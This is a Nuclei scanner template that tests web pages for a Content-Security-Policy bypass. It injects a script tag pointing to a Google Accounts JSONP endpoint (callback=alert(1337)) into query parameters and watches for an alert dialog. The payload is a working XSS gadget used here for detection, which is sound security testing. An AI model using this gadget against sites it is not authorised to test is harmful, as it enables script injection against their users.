id: google-accounts-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google Accounts
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,google-accounts,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "google.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: google_accounts_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "google_accounts_csp_xss == true"
# digest: 490a004630440220730c2eac1504c609e1ebc31b3144b8745de67fb39ee49118a12655c36e4bdd62022079a74a9052aea402bbcdd2c48ff65c9eca5d687c97b3f055477638f8c63a1d58:922c64590222798bb761d5b6d8e72950